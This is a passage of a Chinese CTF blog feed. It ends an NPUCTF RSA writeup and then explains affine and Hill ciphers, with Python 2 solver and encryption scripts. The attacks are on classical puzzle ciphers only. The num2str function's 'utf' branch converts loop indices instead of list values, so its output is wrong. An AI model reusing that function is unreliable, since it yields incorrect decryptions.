2135492653776686212553329560560967285303308936825887355911916917454772197960682240149821138177216833586509090969892419775958406087994054585022894165950768427741545736247918410255804894522085720642952579638418483800243368312702566458196708508543635051350999572787188236243275631609875253617015664414032058822919469443284453403064076232765024248435543326597418851751586308514540124571309152787559712950209357825576896132278045112177910266019741013995106579484868768251084453338417115483515132869594712162052362083414163954681306259137057581036657441897428432575924018950961141822554251369262248368899977337886190114104</span></span><br><span class="line"><span class="comment">#c:  3738960639194737957667684143565005503596276451617922474669745529299929395507971435311181578387223323429323286927370576955078618335757508161263585164126047545413028829873269342924092339298957635079736446851837414357757312525158356579607212496060244403765822636515347192211817658170822313646743520831977673861869637519843133863288550058359429455052676323196728280408508614527953057214779165450356577820378810467527006377296194102671360302059901897977339728292345132827184227155061326328585640019916328847372295754472832318258636054663091475801235050657401857262960415898483713074139212596685365780269667500271108538319</span></span><br></pre></td></tr></table></figure><h2 id="分析-v3">分析</h2><h3 id="λ-n-instead-of-φ-n">λ(n) instead of φ(n)</h3><p>在 <a href="https://www.di-mgt.com.au/rsa_theory.html" target="_blank" rel="noopener">RSA Theory</a> 的 “Using λ(n) instead of φ(n)” 部分提到过：</p><blockquote><p>$d = e^{-1} \pmod {\phi(n)}$ 可以替换成  $d’ = e^{-1} \pmod {\lambda(n)}$，其中 $ \lambda(n) = lcm(p-1, q-1) = \frac{(p-1)(q-1)}{gcd(p-1, q-1)}$.</p></blockquote><p>这样一来，我们就可以用 λ(n)（题目中的 gift）来代替我们原本生成密钥的时候对 φ(n) 的需求。<br>需要注意的这道的中：$gcd(e, lcm) = 2$，不在 gift 的剩余系内（即没有逆元），所以需要进行适当地处理：<br>把 $c=m^e \pmod n$ 看成是 $c=(m^2 )^{(\frac{e}{2})} \pmod n$。<br>$$<br>e’ = \frac{e}{2}<br>\\<br>d’ = (e^{ ’ })^{ -1 } \pmod { \lambda(n) }<br>\\<br>m^2 = c^{ d’ } \pmod {n}<br>$$</p><p>之后就是一个二次剩余的问题了。</p><h3 id="二次剩余">二次剩余</h3><h4 id="Wolfram-爆破">Wolfram 爆破</h4><figure class="highlight mathematica"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">Simplify</span>[</span><br><span class="line"> <span class="keyword">Reduce</span>[</span><br><span class="line">  c == <span class="keyword">Mod</span>[m^<span class="number">2</span>, p] /.</span><br><span class="line">   &#123;c -&gt; <span class="number">4457739276450750973807362088089319606097011997747961409022906575971021744219518190210017002304776543765491793897149413559709081776139101961</span>,</span><br><span class="line">    p -&gt; <span class="number">17083941230213489700426636484487738282426471494607098847295335339638177583685457921198569105417734668692072727759139358207667248703952436680183153327606147421932365889983347282046439156176685765143620637107347870401946946501620531665573668068349080410807996582297505889946205052879002028936125315312256470583622913646319779125559691270916064588684997382451412747432722966919513413709987353038375477178385125453567111965259721484997156799355617642131569095810304077131053588483057244340742751804935494087687363416921314041547093118565767609667033859583125275322077617576783247853718516166743858265291135353895239981121</span>&#125;,</span><br><span class="line">  m, <span class="keyword">Integers</span></span><br><span class="line">  ]</span><br><span class="line">]</span><br></pre></td></tr></table></figure><p>然而并没有跑出来。<br>其他的方法也卡住了 😭</p><hr><p>WP 告诉了我们新的思路：“非有限域下的二次根求解难度在m足够大的时候几乎不可行，于是思路转向分解n”。<br>⭐️ 这道题考察的点实际上是已知(e, n, d)来分解 n<br>TODO: <a href="https://0xdktb.top/2020/04/19/WriteUp-NPUCTF-Crypto/#EzRSA" target="_blank" rel="noopener">https://0xdktb.top/2020/04/19/WriteUp-NPUCTF-Crypto/#EzRSA</a></p><hr><h1>总结</h1><p>空闲时间比较有限，所以就碰了以上几道题目。<br>不得不说，主办方出的题有些魔性，参赛体验也比较糟糕，比赛开始没多久就被 DDoS 了，花了两天时间才恢复……<br>题目也很魔性，Misc 的抽象带师，flag 里面是中文+各种 emoji；一些题目信息放了又撤回等等……</p><h1>参考资料</h1><ol><li><a href="https://liam.page/2018/01/12/Mersenne-twister/#mjx-eqn-eq%3Atwister" target="_blank" rel="noopener">谈谈梅森旋转：算法及其爆破</a></li><li><a href="https://www.cnblogs.com/zhouzhendong/p/Number-theory-Residue-System.html" target="_blank" rel="noopener">数论算法 剩余系相关 学习笔记 (基础回顾,(ex)CRT,(ex)lucas,(ex)BSGS,原根与指标入门,高次剩余,Miller_Robin+Pollard_Rho)</a></li><li><a href="https://blog.csdn.net/dreamzuora/article/details/52744666" target="_blank" rel="noopener">N次剩余(详解+例题+代码)</a></li><li><a href="https://0xdktb.top/2020/04/19/WriteUp-NPUCTF-Crypto/#EzRSA" target="_blank" rel="noopener">WriteUp(NPUCTF) - Crypto</a></li><li><a href="https://www.di-mgt.com.au/rsa_theory.html" target="_blank" rel="noopener">RSA Theory</a></li><li><a href="https://masterpessimistaa.wordpress.com/2018/01/14/dlp-and-baby-step-giant-step-algorithm/" target="_blank" rel="noopener">DLP and Baby Step Giant Step Algorithm</a></li></ol>]]></content>
    
    <summary type="html">
    
      &lt;p&gt;周末的时候做了 NPUCTF  Crypto 部分的题目，题目有些一言难尽，但还是有很多收获，写了点 Write up。&lt;/p&gt;
    
    </summary>
    
    
      <category term="CTF" scheme="https://zer0-nu1l.github.io/categories/CTF/"/>
    
      <category term="Crypto" scheme="https://zer0-nu1l.github.io/categories/CTF/Crypto/"/>
    
    
      <category term="Crypto" scheme="https://zer0-nu1l.github.io/tags/Crypto/"/>
    
  </entry>
  
  <entry>
    <title>仿射密码与希尔密码深度解析</title>
    <link href="https://zer0-nu1l.github.io/2020/03/22/%E4%BB%BF%E5%B0%84%E5%AF%86%E7%A0%81%E4%B8%8E%E5%B8%8C%E5%B0%94%E5%AF%86%E7%A0%81/"/>
    <id>https://zer0-nu1l.github.io/2020/03/22/%E4%BB%BF%E5%B0%84%E5%AF%86%E7%A0%81%E4%B8%8E%E5%B8%8C%E5%B0%94%E5%AF%86%E7%A0%81/</id>
    <published>2020-03-22T08:50:28.000Z</published>
    <updated>2020-05-01T15:26:09.489Z</updated>
    
    <content type="html"><![CDATA[<h1>前言</h1><p>仿射密码和希尔密码是两个很有趣的古典密码，两者之间还有一定的联系。</p><p>本文想对仿射密码和希尔密码的加密解密进行深度解析，并附有精彩例题。之所以厚颜无耻地说是“深度解析”，是因为网络上的文章 🙂🙂🙂。</p><blockquote><p>环境要求：</p><ol><li>gmpy2 （<a href="https://gmpy2.readthedocs.io/en/latest/intro.html#installation" target="_blank" rel="noopener">gmpy2 安装教程</a>）</li><li>numpy （pip install numpy）</li></ol></blockquote><a id="more"></a><h1>仿射密码</h1><p>仿射密码在 <a href="https://ctf-wiki.github.io/ctf-wiki/crypto/classical/monoalphabetic-zh/#_14" target="_blank" rel="noopener">CTF-Wiki</a> 中写得已经很精彩了，这里简练地回顾一下：</p><h2 id="仿射密码原理">仿射密码原理</h2><p>加密函数：$E(x)=(ax+b) \pmod m$<br>解密函数:  $D(x)=a^{-1} (x-b) \pmod m$</p><h2 id="密钥空间">密钥空间</h2><p>字符集中 $m$ 往往是 26,（其实经常不是 🙂 ）<br>$(a, m) = 1$, 所以 $a \text{ 取值空间大小为 } \varphi (m) = 12$,<br>$b \in [0,26)$<br>密钥空间是 $26 \times 12 = 312 $<br>故，在已知部分明文的情况下才可以攻击!</p><hr><h2 id="破解方法">破解方法</h2><ol><li>如果我们知道其中任意一个参数，那我们便可以很容易地快速枚举另外一个参数得到答案；</li><li>如果知道两个加密前后的字母也可以解密。</li></ol><p>$$<br>y_1=(ax_1+b) \pmod {m}<br>\\<br>y_2=(ax_2+b) \pmod {m}<br>$$</p><p>两式相减：$y_1−y_2=a(x_1−x_2) \mod {26}$ 求得<br>$$<br>a = (y_1−y_2) * (x_1−x_2)^{-1} \mod{m}<br>\\<br>b = y_1 - ax_1 \mod {m}<br>$$</p><p>这样就求得了参数 <code>a</code>, <code>b</code>，然后用解密函数还原明文：<br>$$<br>Message = D(x)=a^{-1} (x-b) \pmod m<br>$$</p><h2 id="字符集和模数的问题">字符集和模数的问题</h2><p>刚刚其实偷偷说了，很多情况（指题目）字符集不是 “a-z” 或者 “A-Z” 这么简单，<code>a</code>/ <code>A</code> 并不一定代表 0，只是在教学的时候常常用这样的方式，毕竟 26 这个数字还是比较小的，爆破也很容易。<br>模数 <code>m</code> 很多时候也可以任性，不需要恰巧等于字符集的大小。比如，如果字符集的大小为 256，这个时候参数 <code>a </code> 的取值会比较困难。（之前说了，要满足 $(a, m) = 1$，否则无法求逆元，仿射密码本身存在问题）<br>而这也是密码学的一个小门槛，只会使用工具的人，不擅长也不喜欢处理这些细节。一旦题目更改，原先的工具就失效了。<br>所以在处理密码的时候需要关注字符集，对应编码。</p><blockquote><p>当然下面也介绍一个一劳永逸的方法。</p></blockquote><h2 id="例题赏析">例题赏析</h2><p>TWCTF 2016 的 super_express 虽然在 Wiki 里面有了，讲解也很到位，但是还是觉得太精彩了，所以这里引用一下，也为后面统一的解密方法做铺垫。</p><h3 id="仿射密码例题">仿射密码例题</h3><p>TWCTF 2016 的 super_express</p><p>文件一：<a href="http://problem.py" target="_blank" rel="noopener">problem.py</a></p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> sys</span><br><span class="line">key = <span class="string">'****CENSORED***************'</span></span><br><span class="line">flag = <span class="string">'TWCTF&#123;*******CENSORED********&#125;'</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> len(key) % <span class="number">2</span> == <span class="number">1</span>:</span><br><span class="line">    print(<span class="string">"Key Length Error"</span>)</span><br><span class="line">    sys.exit(<span class="number">1</span>)</span><br><span class="line"></span><br><span class="line">n = int(len(key) / <span class="number">2</span>)</span><br><span class="line">encrypted = <span class="string">''</span></span><br><span class="line"><span class="keyword">for</span> c <span class="keyword">in</span> flag:</span><br><span class="line">    c = ord(c)</span><br><span class="line">    <span class="keyword">for</span> a, b <span class="keyword">in</span> zip(key[<span class="number">0</span>:n], key[n:<span class="number">2</span>*n]):</span><br><span class="line">        c = (ord(a) * c + ord(b)) % <span class="number">251</span></span><br><span class="line">    encrypted += <span class="string">'%02x'</span> % c</span><br><span class="line"></span><br><span class="line"><span class="keyword">print</span> encrypted</span><br></pre></td></tr></table></figure><p>文件二：encrypted</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">805eed80cbbccb94c36413275780ec94a857dfec8da8ca94a8c313a8ccf9</span><br></pre></td></tr></table></figure><h3 id="分析思路">分析思路</h3><p>可以发现，虽然对于 flag 中的每个字母都加密了 n 次，如果我们仔细分析的话，我们可以发现</p><p>$$<br>\begin{align*}<br>c_1&amp;=a_1c+b_1 \\<br>c_2&amp;=a_2c_1+b_2 \\<br>&amp;=a_1a_2c+a_2b_1+b_2 \\<br>&amp;=kc+d<br>\end{align*}<br>$$</p><p>根据第二行的推导，我们可以得到其实 $c_n$ 也是这样的形式，可以看成 $c_n=xc+y$ ，<br>由于是线性变化，所以依然是仿射变换的形式。<br>这里使用选择明文攻击：<br>251 &lt; 256 = 16^2<br>加上源码中 <code>encrypted += '%02x' % c</code><br>易知 encrypted 中两个十六进制字母表示一个数字</p><h3 id="破解脚本">破解脚本</h3><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 计算 a, b</span></span><br><span class="line"><span class="keyword">import</span> gmpy2</span><br><span class="line">flag = <span class="string">'TWCTF&#123;*******CENSORED********&#125;'</span></span><br><span class="line">encryption = <span class="string">"805eed80cbbccb94c36413275780ec94a857dfec8da8ca94a8c313a8ccf9"</span></span><br><span class="line">encrypted = [int(encryption[i:i+<span class="number">2</span>], <span class="number">16</span>) <span class="keyword">for</span> i <span class="keyword">in</span> xrange(<span class="number">0</span>, len(encryption), <span class="number">2</span>)]</span><br><span class="line"></span><br><span class="line">x = map(ord, (<span class="string">'T'</span>, <span class="string">'W'</span>))</span><br><span class="line">y = encrypted[:<span class="number">2</span>]</span><br><span class="line">dx = x[<span class="number">0</span>]-x[<span class="number">1</span>]</span><br><span class="line">dy = y[<span class="number">0</span>]-y[<span class="number">1</span>]</span><br><span class="line"></span><br><span class="line">a = dy * gmpy2.invert(dx, <span class="number">251</span>) %<span class="number">251</span></span><br><span class="line">b = (y[<span class="number">0</span>] - a * x[<span class="number">0</span>]) % <span class="number">251</span></span><br><span class="line"></span><br><span class="line">text = <span class="string">""</span></span><br><span class="line">inv_a = gmpy2.invert(a, <span class="number">251</span>) % <span class="number">251</span></span><br><span class="line"><span class="keyword">for</span> y <span class="keyword">in</span> encrypted:</span><br><span class="line">    text += chr( inv_a * (y-b) % <span class="number">251</span>)</span><br><span class="line"></span><br><span class="line">print(text)</span><br><span class="line"><span class="comment"># TWCTF&#123;Faster_Than_Shinkansen!&#125;</span></span><br></pre></td></tr></table></figure><blockquote><p>一道让人感到酣畅淋漓的密码学题目就此解决。</p></blockquote><h2 id="统一攻击脚本">统一攻击脚本</h2><p>下面是我写的攻击脚本</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># -*- coding: utf-8 -*-</span></span><br><span class="line"><span class="comment"># Author: ZER0-Nu1L</span></span><br><span class="line"><span class="comment"># Python2.7</span></span><br><span class="line"><span class="keyword">import</span> gmpy2</span><br><span class="line"></span><br><span class="line"><span class="string">'''</span></span><br><span class="line"><span class="string">Affine Cipher Attack</span></span><br><span class="line"><span class="string">+---------------------------------------+</span></span><br><span class="line"><span class="string">|  k = (a, b)                           |</span></span><br><span class="line"><span class="string">|  Enc: eₖ(x) = y ≡ a·x + b mod n       |</span></span><br><span class="line"><span class="string">|  y₁=(ax₁+b) mod n                     |</span></span><br><span class="line"><span class="string">|  y₂=(ax₂+b) mod n                     |</span></span><br><span class="line"><span class="string">|---------------------------------------|</span></span><br><span class="line"><span class="string">|  a = (y₁−y₂) · (x₁−x₂)⁻¹ mod n        |</span></span><br><span class="line"><span class="string">|  b = y₁ - ax₁ mod n                   |</span></span><br><span class="line"><span class="string">|  x ≡ a⁻¹·(y - b) mod n                |</span></span><br><span class="line"><span class="string">+---------------------------------------+</span></span><br><span class="line"><span class="string">'''</span> </span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">Affine_attack</span><span class="params">(message, cipher, n, type=<span class="string">"utf"</span>)</span>:</span></span><br><span class="line">    <span class="string">'''</span></span><br><span class="line"><span class="string">    message, cipher 都以字符串的形式输入，</span></span><br><span class="line"><span class="string">    type 表示 message, cipher 的编码方式，</span></span><br><span class="line"><span class="string">    为了兼容'a-z'的字符集，特加入 type = 'alpha'</span></span><br><span class="line"><span class="string">    '''</span></span><br><span class="line">    cip_p = cipher[:<span class="number">2</span>] <span class="comment"># part</span></span><br><span class="line">    mes_p = message[:<span class="number">2</span>]</span><br><span class="line"></span><br><span class="line">    cip_n = str2num(cip_p, type)</span><br><span class="line">    mes_n = str2num(mes_p, type)</span><br><span class="line">    dx = (mes_n[<span class="number">0</span>] - mes_n[<span class="number">1</span>]) % n</span><br><span class="line">    dy = (cip_n[<span class="number">0</span>] - cip_n[<span class="number">1</span>]) % n</span><br><span class="line">    a = (gmpy2.invert(dx, n) * dy) % n</span><br><span class="line">    b = (cip_n[<span class="number">0</span>] - a * mes_n[<span class="number">0</span>]) % n</span><br><span class="line"></span><br><span class="line">    message = <span class="string">""</span></span><br><span class="line">    a_inv = gmpy2.invert(a, n)</span><br><span class="line">    <span class="keyword">for</span> char <span class="keyword">in</span> cipher:</span><br><span class="line">        message += chr( a_inv * ( ord(char) - ordertype(type) - b) % n + ordertype(type) )</span><br><span class="line">    <span class="keyword">print</span> message</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">str2num</span><span class="params">(str, type=<span class="string">"utf"</span>)</span>:</span></span><br><span class="line">    <span class="string">'''</span></span><br><span class="line"><span class="string">    将字符集映射到数字集</span></span><br><span class="line"><span class="string">    '''</span></span><br><span class="line">    <span class="keyword">if</span> type == <span class="string">"alpha"</span>:</span><br><span class="line">        <span class="keyword">return</span> map(<span class="keyword">lambda</span> x : ord(x)- ord(<span class="string">'a'</span>), str)</span><br><span class="line">    <span class="keyword">elif</span> type == <span class="string">"utf"</span>:</span><br><span class="line">        <span class="keyword">return</span> map(ord, str)</span><br><span class="line">    <span class="keyword">else</span>:</span><br><span class="line">        <span class="keyword">return</span> <span class="number">-1</span></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">ordertype</span><span class="params">(type = <span class="string">"utf"</span>)</span>:</span></span><br><span class="line">    <span class="string">'''</span></span><br><span class="line"><span class="string">    返回字符集映射关系（整数）</span></span><br><span class="line"><span class="string">    '''</span></span><br><span class="line">    <span class="keyword">if</span> type == <span class="string">'alpha'</span>:</span><br><span class="line">        <span class="keyword">return</span> ord(<span class="string">'a'</span>)</span><br><span class="line">    <span class="keyword">elif</span> type == <span class="string">'utf'</span>:</span><br><span class="line">        <span class="keyword">return</span> <span class="number">0</span></span><br><span class="line">    <span class="keyword">else</span>:</span><br><span class="line">        <span class="keyword">return</span> <span class="number">-1</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">"__main__"</span>:</span><br><span class="line">    <span class="string">'''</span></span><br><span class="line"><span class="string">    只需要把数据处理成函数能解决的形式，就能对接接口，直接实现攻击</span></span><br><span class="line"><span class="string">    '''</span></span><br><span class="line">    <span class="comment"># a-z 字符集</span></span><br><span class="line">    cipher = <span class="string">"gzyyf"</span></span><br><span class="line">    message = <span class="string">'he'</span></span><br><span class="line">    Affine_attack(message, cipher, <span class="number">26</span>, <span class="string">"alpha"</span>)</span><br><span class="line">    </span><br><span class="line">    <span class="comment"># TWCTF 2016</span></span><br><span class="line">    encryption = <span class="string">"805eed80cbbccb94c36413275780ec94a857dfec8da8ca94a8c313a8ccf9"</span></span><br><span class="line">    message =<span class="string">"TWCTF&#123;"</span></span><br><span class="line">    cipher = <span class="string">""</span></span><br><span class="line">    <span class="keyword">for</span> i <span class="keyword">in</span> xrange(<span class="number">0</span>, len(encryption), <span class="number">2</span>):</span><br><span class="line">        cipher += chr(int(encryption[i:i+<span class="number">2</span>], <span class="number">16</span>))</span><br><span class="line">    Affine_attack(message, cipher, <span class="number">251</span>)</span><br><span class="line">    cipher</span><br></pre></td></tr></table></figure><p>在函数 <code>Affine_attack</code> 中分离了字符集处理和选择明文攻击的代码实现，用 <code>str2num</code> 函数将字符集映射到数字集；用 <code>ordertype</code> 函数将字符集返回用到的字符集的基，在还原密文的时候使用。<br>函数 <code>Affine_attack</code> 就此可以根据参数 字符串 <code>message</code>,  字符串<code>cipher</code>,  模数<code>n</code>,  字符集<code>type</code> 直接破解密码。<br>脚本里面包含了两个样例，一个是字符集上的，一个是 TWCTF 2016 super_express 这道题目，super_express 需要对密文进行简单地处理，把它转化成字符串的格式，然后只用调用函数即可。:happy:</p><hr><h1>希尔密码</h1><p>希尔密码更精彩一些，和仿射密码一样，是域上的线性运算。和仿射密码不同的是，这里的线性运算是矩阵乘法，是多表替换的古典密码。<br>这部分 CTF-Wiki 写得很少，只有寥寥几句。推荐的工具也不是特别好用的感觉。各路博客也质量也一般般，近乎是直接上代码，代码质量也一般（无意冒犯无意冒犯）。<br>笔者在华东师范大学数学系课件里面找到了相关的描述。</p><h2 id="原理">原理</h2><h3 id="基础数学知识">基础数学知识</h3><blockquote><p>定义1：设 $A$ 为定义在集合 $Z_m $ 上的 $n$ 阶方阵，若存在一个定<br>义在 $Z_m$ 上的方阵B，使得<br>$$<br>AB = BA = E \mod {m}<br>$$<br>则称 $A$ 模 $m$ 可逆，$B$ 为 $A$ 的模 m 逆矩阵，记为<br>$$<br>B = A^{−1} \mod m<br>$$<br>和 $Z_m$ 上的整数运算一样，需要满足一定条件才能得到逆运算的结果（这里是逆矩阵）。</p></blockquote><blockquote><p>定义在集合 $Z_m $上的 $n$ 阶方阵 $A$ 模 $m$ 可逆 $\Leftrightarrow$  $m$ 与 $det(A)$ 互素。</p></blockquote><p>求逆矩阵的方法和大学线性代数里面的类似，但是不一样。<br>$$<br>A^{-1}=\frac{1}{|A|} A^{\star} \mod m<br>\\<br>\text{其中}\ \frac{1}{|A|} = |A|^{-1} \mod m<br>$$<br>以上是基础知识。</p><h3 id="加密解密流程">加密解密流程</h3><p><strong>加密</strong>：</p><ol><li>将明文中的字符映射到数字上。（和仿射密码类似）</li><li>选择一个 n 阶可逆整数方阵 $A$ ，称为 $Hill_n$ 密码的加密矩阵。</li><li>根据加密矩阵，将明文字母分组。<br>比如，加密矩阵如果是 2 × 2 的方阵，明文就要每两个为列，组成 2 × n 的矩阵 $X$</li><li>$A \times X = C$ 加密得到 2 × n 的密文矩阵 $C$.</li><li>密文矩阵再逐列拼起来，再从数字映射到字母，得到密文串。</li></ol><p><strong>解密：</strong></p><p>解密和加密类似，先通过刚刚的方法计算出 模 m 的逆矩阵，然后用 $A^{-1}$ 再进行解密:<br>$$<br>A^{-1} \times C = X<br>$$<br>然后用上述相同的方法转换成明文串。</p><h2 id="加解密脚本">加解密脚本</h2><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># -*- coding: utf-8 -*-</span></span><br><span class="line"><span class="comment"># Author: ZER0-Nu1L</span></span><br><span class="line"><span class="comment"># Python2.7</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> numpy <span class="keyword">as</span> np</span><br><span class="line"><span class="keyword">import</span> gmpy2</span><br><span class="line"></span><br><span class="line"><span class="string">'''</span></span><br><span class="line"><span class="string">Hill Cipher Encrypt &amp; Decrypt</span></span><br><span class="line"><span class="string">+-------------------------+</span></span><br><span class="line"><span class="string">|  A*=|A| · A⁻¹           |</span></span><br><span class="line"><span class="string">|  A⁻¹=|A|⁻¹ · A* mod n   |</span></span><br><span class="line"><span class="string">+-------------------------+</span></span><br><span class="line"><span class="string">'''</span></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">str2num</span><span class="params">(str, type=<span class="string">"utf"</span>)</span>:</span></span><br><span class="line">    <span class="string">'''</span></span><br><span class="line"><span class="string">    将字符集映射到数字集</span></span><br><span class="line"><span class="string">    '''</span></span><br><span class="line">    <span class="keyword">if</span> type == <span class="string">"alpha"</span>:</span><br><span class="line">        <span class="keyword">return</span> map(<span class="keyword">lambda</span> x : ord(x)- ord(<span class="string">'a'</span>), str)</span><br><span class="line">    <span class="keyword">elif</span> type == <span class="string">"utf"</span>:</span><br><span class="line">        <span class="keyword">return</span> map(ord, str)</span><br><span class="line">    <span class="keyword">else</span>:</span><br><span class="line">        <span class="keyword">return</span> <span class="number">-1</span></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">num2str</span><span class="params">(lst, type=<span class="string">"utf"</span>)</span>:</span></span><br><span class="line">    <span class="string">'''</span></span><br><span class="line"><span class="string">    将数字集映射到字符集</span></span><br><span class="line"><span class="string">    '''</span></span><br><span class="line">    length = len(lst)</span><br><span class="line">    <span class="keyword">if</span> type == <span class="string">"alpha"</span>:</span><br><span class="line">        <span class="keyword">for</span> i <span class="keyword">in</span> xrange(length):</span><br><span class="line">            lst[i] = chr(lst[i]+ord(<span class="string">'a'</span>))</span><br><span class="line">        <span class="keyword">return</span> <span class="string">""</span>.join(lst)</span><br><span class="line">    <span class="keyword">elif</span> type == <span class="string">"utf"</span>:</span><br><span class="line">        <span class="keyword">for</span> i <span class="keyword">in</span> xrange(length):</span><br><span class="line">            lst[i] = chr(i)</span><br><span class="line">        <span class="keyword">return</span> <span class="string">""</span>.join(lst)</span><br><span class="line">    <span class="keyword">else</span>:</span><br><span class="line">        <span class="keyword">return</span> <span class="number">-1</span></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">Hill_enc</span><span class="params">(message, An, n, type=<span class="string">"utf"</span>)</span>:</span></span><br><span class="line">    <span class="string">'''</span></span><br><span class="line"><span class="string">    message 为字符串，</span></span><br><span class="line"><span class="string">    An 是 np.array() 形式的密钥，dtype = np.int, n 是模数，</span></span><br><span class="line"><span class="string">    type 表示 message 的编码方式，</span></span><br><span class="line"><span class="string">    '''</span></span><br><span class="line">    <span class="comment"># message -&gt; Xn</span></span><br><span class="line">    d = An.shape[<span class="number">1</span>]</span><br><span class="line">    Xn = np.array(str2num(message, type))</span><br><span class="line">    Xn = np.array([Xn[i:i+d] <span class="keyword">for</span> i <span class="keyword">in</span> xrange(<span class="number">0</span>, Xn.size, d)]).T</span><br><span class="line">    <span class="comment"># Hill encrypt</span></span><br><span class="line">    Cn = np.dot(An, Xn) % n</span><br><span class="line">    <span class="comment"># Cn -&gt; Cipher</span></span><br><span class="line">    cipher_lst = list(Cn.flatten(<span class="string">'F'</span>))</span><br><span class="line">    cipher = num2str(cipher_lst, type)</span><br><span class="line">    <span class="keyword">return</span> cipher</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">an_inv</span><span 